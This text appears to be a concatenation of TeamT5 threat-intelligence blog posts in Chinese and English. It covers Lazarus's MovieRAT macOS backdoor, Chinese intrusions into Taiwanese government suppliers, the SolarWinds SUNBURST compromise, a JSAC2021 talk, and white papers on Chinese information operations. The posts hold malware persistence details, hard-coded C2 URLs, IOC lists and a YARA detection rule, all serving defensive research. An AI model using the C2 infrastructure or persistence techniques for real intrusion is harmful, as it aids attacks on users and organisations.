_圖三、ThreatSonar 供資安人員快速匯入 Yara Rule 並自訂威脅等級_

Github 不再只是版控平台，還是 APT 後門中繼站

圖片來源：[Pixabay](https://pixabay.com/illustrations/the-company-cryptocurrency-mining-3338207/)

## 摘要
TeamT5 近期掌握情資，北韓 APT 駭客 Lazarus 開發出 macOS 作業系統的惡意程式 MovieRAT，並試圖攻擊虛擬貨幣的使用者，藉此盜取帳戶內的虛擬貨幣。

## 技術分析
TeamT5 透過情資管道取得惡意樣本（53d9af8829a9c7f6f177178885901c01），其檔案名稱為 Esilet.dmg，是 macOS 的第三方應用程式安裝檔，如圖一所示。該樣本執行後，會連線至 esilet.com 網站，該網站為虛擬貨幣交易平台，但經過 TeamT5 深入追查後發現，esilet.com 於 2020 年 6 月 12 日註冊，因此可以確認為駭客近期所發動的攻擊行為，如圖二所示。

![2020-12-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607910258/2020-12-1_38f3073f52.png)
_圖一、Esilet.dmg 執行畫面_

 

![2020-12-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-2_61901a7ea4.png)
_圖二、esilet.com 網域註冊時間_

 

esilet.com 是駭客特意架設的虛擬貨幣交易網站，並透過該網站的應用程式下載安裝連結來散佈惡意程式。根據網站的支援語系，推測駭客攻擊標的為英、法、德及中文的虛擬貨幣用戶，如圖三所示。

 

![2020-12-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909876/2020-12-3_c882e11ea8.png)
_圖三、esilet.com 支援英、法、德及中文語系_

 

Esilet.dmg 執行後，會和中繼站連線獲取 config，config 的連線特徵為 "C2 + /update/ + {platform}.json"，故 macOS 版本的 config 下載連結為 "https://esilet[.]com/update/darwin.json"。所下載的惡意程式經過 UPX 加殼，會存放於系統的暫存目錄後執行。經過分析，該惡意程式的通訊協議和 MoiveRAT 相同，故確定此惡意樣本是由 MovieRAT 改寫的變種程式。

 

![2020-12-4](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909876/2020-12-4_e77cf3db22.png)
_圖四、Esilet.dmg 下載 MovieRAT 的逆向分析截圖_

 

當 MovieRAT 成功執行後，其嘗試加入 Launch Daemons/Services，將 property lists 檔案 com.applex.services.agent.agent.plist 放置於 {HomeDirectory}/Library/LaunchAgents 目錄，若寫入失敗則會寫入至 /Library/LaunchDaemons 之中，藉此達到開機後惡意程式自動執行的持續控制手法，如圖五所示。

 

![2020-12-5](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-5_82214f3ea6.png)
_圖五、將 plist 寫入開機執行設定之中_

 

其所連線的中繼站位址為固定並寫死（Hard Coding）於程式中，分別為 infodigitalnew.com、www.vinoymas.ch 及 sche-eg.org，如圖六所示。

 

![2020-12-6](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909875/2020-12-6_a9d7f08bae.png)
_圖六、惡意中繼站位址寫死於程式碼中_

 

樣本連線至中繼站後，駭客將會傳遞不同的指令碼（Command Code），樣本取得指令後會執行對應的動作，如上傳/下載檔案、指令執行及檔案/資訊回傳等，詳細資訊如圖七及表一所示。

 

![2020-12-7](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909880/2020-12-7_12bab7ef9f.png)
_圖七、指令碼逆向分析結果_

 
 

| 指令碼 | 描述 |
| -- | -- |
| 0x21279E | 從中繼站下載檔案並存放於特定路徑 | 
| 0x2AFCB2 | 取得主機資訊 |
| 0x38CE55 | Heartbeat |
| 0x3A65F8 | 字串(string)轉換為數字(integer) |
| 0x3A6A93 | 傳送HTTP封包至中繼站 |
| 0x3B187D | 空指令 |
| 0x484B81 | 上傳檔案至中繼站 |
| 0x48C82A | 透過HTTP從中繼站下載檔案|
| 0x48D6FC | 執行指令(新加入的指令碼)|
| 0x7FC0A4 | 執行指令並回傳結果 |

_表一、指令碼清單_

 

TeamT5 經由該樣本關聯至 MovieRAT 後門程式，MovieRAT 是個輕量化的後門控制程式，支援最基本的檔案上傳/下載、指令執行及程序操作等功能。通常被駭客用於成功入侵後的第二階段控制（2nd-stage RAT）之用。先前所掌握的 MovieRAT 後門為 Windows 惡意程式，會透過 HTTP 通訊協定與中繼站連線，所使用的 Cookie 具有特定格式。

根據 TeamT5 的情資，將 MovieRAT 定位到駭客組織 Lazarus 身上。Lazarus 為北韓的駭客族群，擁有多起攻擊金融產業的紀錄，尤其特別針對 SWIFT 跨國轉帳交易系統和 ATM 自動櫃員機系統進行攻擊。推測為了替北韓政權籌措資金，好發展武器與實驗，故多選擇金融產業和具有關鍵技術的私人企業進行攻擊。過往的攻擊行動中，會在惡意程式內參雜俄文，企圖混淆分析人員。近期則是開始大量入侵攻擊虛擬貨幣交易所，如 Bithumb、Youbit 及 Yapizon 等，造成上百萬美元的金額損失。

## IOCs（惡意攻擊指標）

|IOC|類型|
|-|-|
|53d9af8829a9c7f6f177178885901c01|MD5|
|ae9f4e39c576555faadee136c6c3b2d358ad90b9|SHA1|
|9ba02f8a985ec1a99ab7b78fa678f26c0273d91ae7cbe45b814e6775ec477598|SHA256|
|9578c2be6437dcc8517e78a5de1fa975|MD5|
|d2a77c31c3e169bec655068e96cf4e7fc52e77b8|SHA1|
|dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156|SHA256|
|esilet.com|Domain|
|www.kurunzi.news|Domain|
|oasismagazine.africa|Domain|
|lerenmetsara.net|Domain|
|https://infodigitalnew.com/wp-content/plugins/top.php |URL|
|https://www.vinoymas.ch/wp-content/plugins/top.php |URL|
|https://sche-eg.org/plugins/top.php |URL|

## 影響與建議

 1. 透過 TeamT5 [ThreatSonar](https://teamt5.org/tw/products/threatsonar/) 檢查是否有攻擊者活動跡象，ThreatSonar 支援 Windows、Linux 及 macOS 作業系統。
 2. 使用以下 yara rule 掃描主機系統，檢查是否存在 MovieRAT 後門程式。

 ```
 rule TeamT5_Lazarus_MovieRAT
 {
 meta:
 author = "TeamT5"
 description = "Lazarus - MovieRAT"
 strings:
 $cookie = "Cookie: _ga=%s%02d%d%d%02d%s; gid=%s%02d%d%03d%s" fullword
 $str_1 = "GA1.%d." fullword
 $str_2 = ".%d%05d%04d" fullword
 condition:
 all of them
 }
 ```
 
 ![2020-12-8](https://res.cloudinary.com/dvgomg5gh/image/upload/v1607909882/2020-12-8_34a68e7370.png)

 3. 可將前述的 IOC 清單匯入既有的資安設備中，進行偵測阻擋防禦之用。
 4. 更多 APT 駭客族群資訊，可參考 TeamT5 [ThreatVision](https://teamt5.org/tw/products/threatvision/) 情資平台。

macOS 用戶當心！北韓駭客 Lazarus 將目標瞄準虛擬貨幣交易用戶

圖片來源：[Unsplash](https://unsplash.com/photos/8OyKWQgBsKQ)

# 前言

法務部調查局綜整近期所偵辦的數起台灣政府機關遭駭案件，於 19 日發表記者會，提到政府部門的委外資訊服務供應商遭中國駭客組織攻擊現況，目前已知有市政府、水資源局等至少 10 個單位，以及 4 家資訊服務供應商遇害。

調查局資安工作站也發現，駭客在入侵政府機關內部的主機與伺服器後，為了要長期潛伏以及將獲取資料傳出，還會安裝 SoftEther VPN 程式，以連線到駭客指定的中繼站。

本次調查局公布的攻擊族群：MustangPanda、APT40、Blacktech 與 Taidoor，皆是 TeamT5 長期追蹤的標的，我們有信心能夠偵測這些族群使用的後門程式、駭客工具以及攻擊手法。

![0822-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598021396/0822-1_2529e698d3.png)
*圖一、駭客透過供應鏈攻擊我政府機關 -1（圖片來源：法務部調查局）*

![0822-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598021396/0822-2_a119c17629.png)
*圖二、駭客透過供應鏈攻擊我政府機關 -2（圖片來源：法務部調查局）*

 

# IOC 情資
TeamT5 長期進行駭客追蹤研究，根據法務部調查局所提供的情資內容，關聯出駭客族群慣用的惡意程式與相關 IOC 情資供使用者匯入至閘道端或端點防護設備比對使用，詳細惡意程式說明與 IOC 清單如下所示。

 

|惡意程式家族|類型|描述|攻擊族群|首次出現|
|----|----|----|----|----|
|dbgPrint |RAT |dbgPrint 為中國駭客族群 HUAPI 慣用的後門程式，其名稱來自於該後門程式早期版本的字串(strings)內容。dbgPrint 後門程式通常由 PE 型態的 Loader、插入 shellcode 的 DLL 檔及惡意 Payload 所組成。同時也具備防毒免殺(anti-antivirus)的功能模組。|HUAPI (又稱為 Plead 或 Blacktech)|2009 年|
|CobaltStrike Beacon |RAT |Cobalt Strike 是一款滲透測試或紅隊演練常使用的攻擊框架，而 CobaltStrike Beacon 則是從 Cobalt Strike 攻擊框架所產生的惡意 Payload。雖然 Cobalt Strike 為商業付費工具，但是經過破解並流傳於許多論壇或網站中，因此有許多駭客皆透過他進行惡意攻擊。|商業付費工具，無法明確定義出背後的攻擊族群|2016 年|

*表一、惡意程式分析說明*

 
 

|IOC|類型|提供來源|
|----|----|----|----|
|manage.lutengtw.com|Domain|法務部調查局|
|dccpulic.lutengtw.com|Domain|法務部調查局|
|trust.utoggsv.com|Domain|法務部調查局|
|wg1.inkeslive.com|Domain|法務部調查局|
|k3ad01.rutentw.com|Domain|法務部調查局|
|ams05.csksogo.com|Domain|法務部調查局|
|edgekey.whybbot.com|Domain|法務部調查局|
|shed.inkeslive.com|Domain|法務部調查局|
|ap21.gckerda.com|Domain|法務部調查局|
|cornerth.com|Domain|法務部調查局|
|teamcorner.nctu.me|Domain|法務部調查局|
|43.240.12.81|IP Address|法務部調查局|
|45.124.25.31|IP Address|法務部調查局|
|45.124.25.226|IP Address|法務部調查局|
|103.193.149.26|IP Address|法務部調查局|
|103.240.202.34|IP Address|法務部調查局|
|a8373a143a915518a33c4af19fff01e7|MD5 Hash|TeamT5|
|20714b487b5b63ff8e52b911d19d6da1|MD5 Hash|TeamT5|
|6c490c833bfff677c89d9bb81bef0cf5|MD5 Hash|TeamT5|
|d395580fea6fb840798dc1ee65756484|MD5 Hash|TeamT5|
|4a1941df8b251716f66e2777425ac0e5|MD5 Hash|TeamT5|
|c11f40af68c07b309bd103d69b7bb14a|MD5 Hash|TeamT5|
|387fe30ffc270939c299d1eaebcdcd4d|MD5 Hash|TeamT5|
|93bfdce35e3ab86508e09deedca6552f|MD5 Hash|TeamT5|
|1857fbce5c5269a1d4e40204ccccd7d1|MD5 Hash|TeamT5|
|www.kaspersky-security.net|Domain|TeamT5|
|www.symantec-endpoint.net|Domain|TeamT5|
|www.symantec-product.com|Domain|TeamT5|
|update.symantec-product.com|Domain|TeamT5|
|update.trendmicro-service.com|Domain|TeamT5|
|googleupdatesrv.com|Domain|TeamT5|
|103.234.96.213|IP Address|TeamT5|
|103.242.0.152|IP Address|TeamT5|
|43.240.12.80|IP Address|TeamT5|
|43.240.12.82|IP Address|TeamT5|
|43.240.12.83|IP Address|TeamT5|
|45.32.43.59|IP Address|TeamT5|
|45.76.189.109|IP Address|TeamT5|

*表二、IOC 清單*

 

ThreatSonar 惡意威脅鑑識分析平臺的用戶，可將上方表二之 IOC 匯入以強化威脅偵測與識別，亦可追溯比對過去資料是否命中 IOC。示意圖如下。

![0822-3.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078952/0822-3.2_a52efbee16.png)
*圖三、ThreatSonar 支援 Hash、IP 及 Domain IOC 情資匯入*

 

# 如何透過威脅狩獵找出 SoftEther VPN 程式
根據法務部調查局的偵辦結果，駭客為了長期潛伏於受害環境，因此會透過 SoftEther 這類的合法 VPN 程式進行遠端控制。ThreatSonar 具備主動威脅狩獵（Threat Hunting）功能，故可以快速地在環境中找出 SoftEther VPN 程式。

其步驟為在威脅狩獵（Hunter）功能中，切換 Scope 至憑證（Certificate），搜尋 "filename ~ softether"（請選擇 Engine Version 為全選），可依憑證內容搜尋環境內符合條件的 SoftEther 憑證及其對應的端點與程式清單。其流程步驟示意圖如下。

![0822-4.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078952/0822-4.2_7ff72c52b4.png)
*圖四、以 filename 查詢符合條件的 SoftEther 憑證*

 

![0822-5.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078951/0822-5.2_63428b1e98.png)
*圖五、具備 SoftEther 憑證的端點與程式清單*

 

![0822-6.2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1598078951/0822-6.2_418ed6f1a2.png)
*圖六、駭客將 SoftEther VPN 程式偽裝成 svchost.exe*

調查局 08/19 公布中國對台灣政府機關駭侵事件說明

圖片來源：[Pixabay](https://pixabay.com/photos/trojan-trojananisches-horse-craft-1700378/)

##### *知名 IT 監控平臺 SolarWinds 淪陷，近期已有多個採用該平臺的組織遭到攻擊*

## 說明

SolarWinds 在今年 3 月到 6 月間釋出 2019.4 HF 5 至 2020.2.1 版本的 SolarWinds Orion Platform 遭到駭客供應鏈攻擊，導致服務存在遠端執行後門程式，公開情資指出，這是來自俄羅斯攻擊族群 APT29 的針對性攻擊行動。

SolarWinds 已進行修補並釋出 Orion Platform 2020.2.1 HF 1，預計在 12 月 15 日釋出 2020.2.1 HF 2，建議各單位在 2020.2.1 HF 2 釋出後立即更新，此一版本不只修補了有問題的元件，也進一步提供安全措施。

FireEye 日前公布遭受駭客攻擊，提供的公開情資包含 SolarWinds 相關元件（SolarWinds.Orion.Core.BusinessLayer.dll），TeamT5 取得樣本並分析其中的惡意程式 SUNBURST。

![201215通報-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_1_207508801e.png)
_圖一、惡意程式的 Job Class 提供各種操作指令_

![201215通報-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_2_b31cd3e1e9.png)
_圖二、透過 HTTP 和 Orion Improvement Program（OIP）傳輸指令_

 

## 受影響的版本

- SolarWinds Orion Platform 2019.4 HF 5
- SolarWinds Orion Platform 2020.2 – 2020.2 HF 1

## 修補與防範建議

- 隔離 Orion server 直到 [SolarWinds](https://customerportal.solarwinds.com) 提供修補程式並安裝
- 於 ThreatSonar 檢查是否有使用 SolarWinds

 1. 點擊威脅狩獵功能
 2. 點擊 Certificates
 3. 搜尋 SolarWinds 的憑證 thumbprint，搜尋語法：

 thumbprint = 47D92D49E6F7F296260DA1AF355F941EB25360C4

 4. 點擊 Obj Cnt.下方數字，檢查是否有包含 Orion 名稱的項目

![201215通報-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_3_88a79a1fec.png)
_圖三、威脅狩獵功能搜尋 SolarWinds 的憑證_

![201215通報-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608081281/201215_4_5a8fdda638.png)
_圖四、搜尋 Orion 確認是否存在相關檔案_

 

## FireEye 公開的 IoC 資訊

- 中繼站 Domain 以及 IP

 

|IOC|類型|
|----|----|
|avsvmcloud[.]com|Domain|
|freescanonline[.]com|Domain|
|deftsecurity[.]com|Domain|
|thedoccloud[.]com|Domain|
|websitetheme[.]com|Domain|
|highdatabase[.]com|Domain|
|incomeupdate[.]com|Domain|
|databasegalore[.]com|Domain|
|panhardware[.]com|Domain|
|zupertech[.]com|Domain|
|13.59.205[.]66|IP Address|
|54.193.127[.]66|IP Address|
|54.215.192[.]52|IP Address|
|34.203.203[.]23|IP Address|
|139.99.115[.]204|IP Address|
|5.252.177[.]25|IP Address|
|5.252.177[.]21|IP Address|
|204.188.205[.]176|IP Address|
|51.89.125[.]18|IP Address|
|167.114.213[.]199|IP Address|


- 檔案 Hash（MD5）

|IOC|類型|
|----|----|
|02af7cec58b9a5da1c542b5a32151ba1|MD5 Hash|
|08e35543d6110ed11fdf558bb093d401|MD5 Hash|
|2c4a910a1299cdae2a4e55988a2f102e|MD5 Hash|
|846e27a652a5e1bfbd0ddd38a16dc865|MD5 Hash|
|b91ce2fa41029f6955bff20079468448|MD5 Hash|
|4f2eb62fa529c0283b28d05ddd311fae|MD5 Hash|
|56ceb6d0011d87b6e4d7023d7ef85676|MD5 Hash|


## 參考資料

- https://www.solarwinds.com/securityadvisory
- https://www.cert.govt.nz/it-specialists/advisories/solarwinds-orion-vulnerability-being-actively-exploited/
- https://www.ithome.com.tw/news/141651
- https://github.com/fireeye/sunburst_countermeasures

TeamT5 安全性通報－知名 IT 監控平臺 SolarWinds Orion 證實遭供應鏈攻擊

*Image courtesy of [JSAC2021](https://jsac.jpcert.or.jp/index.html)

Hold online for the first time due to the COVID-19 pandemic, on January 28, Japan Security Analyst Conference 2021 (JSAC2021), the annual cyber security conference hosted by JPCERT/CC, aimed to bring together security analysts and provide opportunities for them to share technical knowledge related to incident response and analysis.

TeamT5's CTO Charles Li and other Japanese researchers from ITOCHU Corporation, Macnica Networks, and Kaspersky, presented a joint speech on topic of [A41APT case - Analysis of the Stealth APT Campaign Threatening Japan](https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf). In this session, they introduced the A41APT targeted attack campaign that has been confirmed since March 2019. The attacker's infrastructure and the relevance of this attacker group's attribution to specific APT groups were also discussed.

As one of the 11 presenters out of 22 candidates, our cyber threat analyst Shui Lee and malware researcher Leon Chang spoke on the third track of the conference, unveiling a new Chinese APT group LuoYo, which hasn't yet been grouped by the public.

 

![JSAC_LuoYu.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1613705588/JSAC_Luo_Yu_12e0800310.png)
_Shui and Leon presented their in-depth analysis of ReverseWindow._

According to their speech "[LuoYu, the Eavesdropper Sneaking in Multiple Platforms](https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf)", LuoYo's activity has been observed since 2014, targeting tech companies, media, educational institutions, and other industries in China, Hong Kong, Japan, South Korea, and Taiwan. This presentation focused on a detailed description on ReverseWindow. For more details, please read the full [JSAC2021 Report](https://blogs.jpcert.or.jp/en/2021/02/jsac2021report1.html) by JPCERT/CC.

 

## About JSAC2021

Cyber attacks occur on a daily basis, and its techniques have been constantly changing. Engineers who analyze and respond to them are required to improve their skills to keep up with the ever-changing techniques of cyber attacks. However, there are few occasions in Japan where techniques and knowledge of incident analysis and response are shared among engineers. Security analysts are expected to get together and exchange their technical expertise on incident handling to develop their strength against cyber attacks both individually and as a whole.

To achieve this goal, JPCERT/CC hosts Japan Security Analyst Conference (JSAC), the annual conference for exchanging technical information on cyber security incident analysis and response. In this conference, security analysts who handle security incidents on a daily basis are encouraged to share information with each other to deal with ever-evolving cyber attacks today and in the future.

More information on [JSAC2021](https://jsac.jpcert.or.jp/en/index.html) event website.

Japan Security Analyst Conference 2021

Events

The ubiquity of social media has altered the way people consume information, which in turn dramatically changed the way electoral campaigns are run. From the 2018 municipal elections to the 2020 general elections, Taiwan has witnessed the growing threat of disinformation to the citizens. It was observed that many malicious actors utilized social media to disseminate a huge amount of fake news, false information, and hate speech. These disinformation are like highly contagious viruses that will not only affect the people consuming them, but also make them secondary disseminators. We assess that:

1. Virus-like disinformation makes everyone on social media both victim and disseminator

   Although public discussion is the cornerstone of a good democratic society, many attacks have used voter enthusiasm to spread on social media. We have observed that many of the voters who participated in the discussion turned out to be the source of dissemination.
2. Disinformation continues to evolve in tactics and quantity, as well as expanding its targets

   The Taiwanese Central Election Commission (CEC) stated that the number of disinformation cases before the 2020 elections reached an unprecedented level. In addition to the evolution in quantity and tactics, we observed that the dissemination of disinformation did not stop even after the election, but instead shifted the target.
3. China continues to increase its influence

   Apart from news agency promoting the Chinese policies, inauthentic accounts run by bot, and patriotic netizens (A.K.A little pink), China has stepped up its influence on social media platforms to shape narratives.
4. Information operations are outsourced, layer-by-layer

   Before the elections, a number of marketing firms and new media were established to spread political messages. We discovered that some of them have connections with certain political parties, implying the layer-by-layer outsourcing of Information Operations by politically motivated actors.

From the perspective of security researchers, we integrated the Information Operations intercepted and investigated by TeamT5 over the past two years, hoping to contribute to the next democratic election.

If you are interested in this white paper, please fill out the form, and we will send you the report by email.

COMING UP NEXT: We will publish reports about how China conduct Information Operation on social media platforms, targeting domestic citizens and foreign audiences. If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper: Observations on 2020 Taiwanese General Elections

社群媒體的普及改變了人們吸收資訊的方式，衝擊了原有的選戰型態。2018到2020年，台灣面臨了新形態的選戰威脅，攻擊者利用社群媒體散播大量的假新聞、不實資訊、仇恨言論。這些攻擊就像高傳染力的病毒不僅會觸及所有社群媒體使用者，更會讓他們感染後進一步成為潛在的假消息散播源。

TeamT5 的 Observations on 2020 Taiwanese General Elections 認為：

1. 假新聞讓各政黨支持者成為可能的散播源

   假新聞攻擊會利用選民對政治的熱情，使參與討論的選民反而成為散播的節點。
2. 假新聞的手法與目標持續地改變

   中選會認為這次選前的假新聞攻擊達到以往不曾有的數量。而除了數量與手法的不同，在選舉過後，相關攻擊並沒有停止，反而轉移了目標。
3. 中國持續加大自己的影響力

   從對台機構的新聞網站到各類假帳號、機器人與自發的小粉紅，中國試圖將影響力延伸到台灣的社群媒體。
4. 假新聞的攻擊行動被層層外包

   在選舉期間大量的行銷公司與新興媒體成立並散播特定政治訊息，讓真正的攻擊者可以輕易地隱藏於之後。

我們以資安研究員的角度出發，整合過去兩年間 TeamT5 拆解過的選舉假新聞攻擊事件，希望能替下一場民主選舉貢獻心力。

若對本份白皮書有興趣，請填寫表單，我們會以電子郵件的方式寄送。 TeamT5 接下來還會解析中國如何對內與對外利用社群媒體進行資訊的操弄。不想錯過我們接下來發布的報告，請追蹤我們的[Twitter](https://twitter.com/TeamT5_Official)。


TeamT5 發布了〈資訊戰白皮書：2020台灣大選觀察〉

To confront the emerging threat of China's Information Operation, TeamT5 threat intelligence team publishes this White Paper covering how China conduct information manipulation across Chinese social media platforms. From the 2019 Hong Kong Protest to the 2020 COVID-19 pandemic, China has demonstrated the art of surveillance, censorship, and most importantly, digital propaganda.

In this white paper, we focus on China's digital propaganda inside the Great Firewall. We suggest that the regime has developed a unique, organizational, and sophisticated propaganda mechanism, which we dub as "digital propaganda formula." With this formula, the Chinese Communist Party (CCP) has managed to transform all the Chinese social media platforms inside the Great Firewall into an almost total pro-CCP environment.

#### Key Takeaways

1. CCP has strengthened its control over Chinese cyberspace by establishing legislations as well as centralizing administrations, and the "last mile" of its cyber governance is to control public opinion through censorship and digital propaganda.

2. We dub China's sophisticated propaganda mechanism the "digital propaganda formula," which consists of state media, communist youth league, governmental affairs new media, as well as trolling factory.

3. Moreover, CCP's policies have bolstered the industry of "public opinion guidance" in China. The industry practitioners have developed AI and big data-powered systems to help the government to collect, store, and analyze public sentiment.

4. China's formula has polluted the online information environment inside the Great Firewall. We assess that the CCP is trying to project its digital propaganda dominance to foreign social media platforms in order to control the world's discourse power. 

Following the global pandemic, the world relies on the internet more than ever. Cyber threat actors and influence operators, either state-backed or money driven, are taking the advantage to conduct information operation. TeamT5 threat intelligence team aims to deliver actionable intelligence and penetrating analytics and contribute to the safeguarding of cyberspace.

If you are interested in this white paper, please fill out the form below and get the full-text PDF.

 

**COMING UP NEXT**

In Part 3 of our Information Operation White Paper, we will focus on the external propaganda of the CCP. We will provide an overview of the current status and impact of Chinese propaganda machine and information operation on Western social media platforms, such as Facebook, Twitter, and YouTube.

If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).

TeamT5 Information Operation White Paper (Part 2 of 3): China’s Digital Propaganda Formula inside the Great Firewall

面對中國日趨積極、強烈的資訊操弄（Social Manipulation），TeamT5情資團隊以資訊安全研究員的視角，推出最新的〈資訊戰白皮書二部曲〉（Information Operation White Paper），進一步分析中國在「防火長城」（Great Firewall）內，如何透過社群媒體進行數位政治宣傳（Digital Propaganda）。

除了廣為人知的言論審查制度，中國在防火長城內的資訊操弄，更包含主動的數位政治宣傳。從2019年香港反送中抗爭事件，到2020年的新冠肺炎疫情，我們可以清楚看到中國越來越「爐火純青」的數位政治宣傳實力。防火長城內對社群媒體的操控，神秘、難以探知，中國更設法將牆內轉化成中國共產黨的「一言堂」，阻止了理性政治討論的可能性。

在〈資訊戰白皮書二部曲〉中，我們聚焦於：

1.	近年來，中國藉由大量的網路相關立法與集中整併政府資源，強化網路控制。而控制公眾言論的數位政治宣傳，就是中國網路治理的「最後一哩路」。

2.	我們認為中國的數位政治宣傳機制，依循著一個極為有效的「配方」（Digital Propaganda Formula），由四個要素組成：官方媒體、共青團、政務新媒體，以及中國的水軍大隊。

3.	在中國政府資源帶領下，「輿情引導產業」興起，提供人工智慧與大數據工具，替政府收集、儲存、進而分析網路民意。

4.	我們認為，中國藉著其政治宣傳配方來穩定牆內的網路生態，而下一步，就是要將自身在西方社群媒體的影響力，擴張到國外，競逐世界話語權。

在疫情之後，網路世界成為新常態（new normal）不可或缺的一部分。但於此同時，也讓網路威脅，不論是傳統駭客行動者或是社群媒體操弄者（influence operators），有更多機會發動攻擊。TeamT5情資團隊致力於傳遞有用的情資與協助決策的分析報告，希望對提升網路安全盡一份心力。

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。

 

**下期預告**

在接下來的〈資訊戰白皮書三部曲〉中，我們將討論中國對外的政治宣傳，看中國政治宣傳機器的現況與其影響，以及中國在西方社群媒體平台上的資訊作戰。

不想錯過我們接下來發布的報告，請追蹤我們的 [Twitter](https://twitter.com/TeamT5_Official)。

TeamT5〈資訊戰白皮書二部曲：中國防火長城內的數位政治宣傳〉

In the final part of our Information Operation White Paper, we will demonstrate China's Information Operations (InfoOps) targeting the global audience. The first part of the report displays a brief overview of its overt operations which are carried out by state media, embassies, and diplomats. Then we look into the covert operations, which can be observed in pro-China fan pages, content farms, and spam botnet. Last but not least, we provide the case study of "Operation Juiker" on Taiwan's largest forum PTT, which suggests the possibility of the APT (Advanced Persistent Threat) actors entering the threat landscape.

#### Key Takeaways

1. China has escalated the level of overt InfoOps via state-media and diplomats.
 
 
Chinese state media, diplomats, and embassies are the main actors of Chinese overt InfoOps. They shoulder the task to polish the image of the regime and propagate the narrative of the Chinese Communist Party (CCP). It is noteworthy that their official accounts have obtained an unexpected number of followers in recent years. For instance, four Chinese state media are included in the top 20 most-followed pages on Facebook. Their main audience, apart from the Chinese citizens, are overseas Chinese diaspora, which many of them have rights to vote in countries such as the U.S., Canada, and Australia, thus having the ability to influence a country's politics.
 
 
2. Covert InfoOps remain active on Western social media platforms.
 
 
2020 is a year which has set many records. This year, the takedowns of covert Chinese social media accounts by Facebook, Twitter, and Google are more frequent than ever. However, even with such efforts, we observed that there are new covert actors emerging across the platforms, while the banned actors keep coming back to the scene by registering new domains and new accounts. We spotted that there is a huge number of Facebook pages with admins located in China dedicated to disseminating Chinese propaganda content originated from Chinese social media platform, Weibo. Besides, there are sophisticated actors that create websites and subtle content to help the Chinese government shaping the narrative for the Hong Kong protest. We also detected numerous networks of pro-China political accounts that demonstrated strong signs of automated behavior.
 
 
3. APT actors might have entered the InfoOps threat landscape.
 
 
The situation is become more alarming as we discovered that the Advanced Persistent Threat (APT) actors might have entered the InfoOps threat landscape. APT actors, typically a state-sponsored group, usually conduct prolonged and targeted cyberattacks to mine highly sensitive data. However, in mid-2020, we identified an InfoOp that can be linked to a notorious Chinese APT group which TeamT5 intelligence team has tracked for years. We discovered that the threat actors had disseminated disinformation about "Juiker," a messaging app developed by Taiwan's research institute and widely used by government units, on Taiwan's largest forum PTT. The operation, which we dub as "Operation Juiker," aimed to discredit Taiwan's intelligence agency and government-backed research institute by spreading disinformation of the messaging app being hacked.
 
 
4. It is more crucial than ever to adopt threat intelligence solutions to combat the issue.
 
 
The abovementioned Operation Juiker has well demonstrated the possibility of "APT + InfoOp" attack model, which involves targeted social media campaigns disseminating disinformation based on highly confidential data. Such situation is super tricky, and it could pose a great threat to democratic countries. In this case, threat intelligence can help provide instant analysis of actor methodologies, suspicious indicators, and potential risks. We suggest that it is crucial for government units, critical infrastructure operators, and major business vendors to apply threat intelligence to combat this issue.
 
 

If you are interested in this white paper, please fill out the form below and get the full-text PDF.
 
 
And don't miss our blog updates! Follow us on [Twitter](https://twitter.com/TeamT5_Official).

InfoOp White Paper III: China’s Social Manipulation outside the Great Firewall

在 TeamT5〈資訊戰白皮書〉的最後一部曲中，我們將呈現中國的資訊作戰（Information Operation）是如何瞄準全球社群媒體使用者。TeamT5 希望透過這系列白皮書，分享我們作為資安研究員，如何理解中國的社群操弄。

此份白皮書的前兩個章節，介紹中國檯面上與檯面下的行動。首先觀察中國在檯面上（overt operation）如何透過中國的官媒、大使館、外交官，在社群媒體創造自己的聲量。接著分析中國檯面下的行動（covert operation），進一步研究那些無法被輕易歸因的粉絲頁、內容農場與大量的僵屍帳號。最後一章將以 PTT 論壇上關於 Juiker 的假新聞攻擊為例，提出資訊戰當中，我們最擔心的 —— 由「進階持續性滲透威脅」（APT）發起的假新聞攻擊。

 
#### 報告摘要

1. 中國持續透過官媒與外交官進行檯面上的社群操弄
 
 
中國的官媒、外交官、大使館是中國檯面上的主要行動者。這些行動者負責美化中國外在形象，以及散播對中國執政黨有利的論述。根據我們的觀察，這些帳號在西方社群媒體中都擁有大量的追蹤者，Facebook 粉絲頁中，追蹤數排名世界前 20 名的新聞媒體，第一名到第四名就是由中國官媒粉絲頁 CGTN、China Daily、People's Daily、Xinhua News 包辦。中國檯面上的社群操弄，主要針對位在美國、加拿大、澳洲等英語系國家的海外華人，並透過他們對當地的政治進行一定影響。
 
 
2. 檯面下的社群操弄持續在西方主流社群平台出沒
 
 
2020 年，西方主流社群平台 Facebook、Twitter、Google 等，都曾數次移除各自平台上與中國有關的假帳號。儘管平台方已如此頻繁地掃蕩，許多隱匿的行動者仍然在各大平台上出沒，那些曾遭移除的帳號背後，有行動者持續透過註冊新網域和帳號捲土重來。我們不斷觀察到許多可疑帳號，例如許多擁有中國管理員的粉絲頁，會搬運微博上的政治宣傳。更有甚者，我們發現許多配備精良的攻擊者，會自己架設網站和疑似是自動化產生的僵屍帳號，來協助中國政府攻擊香港抗爭者。
 
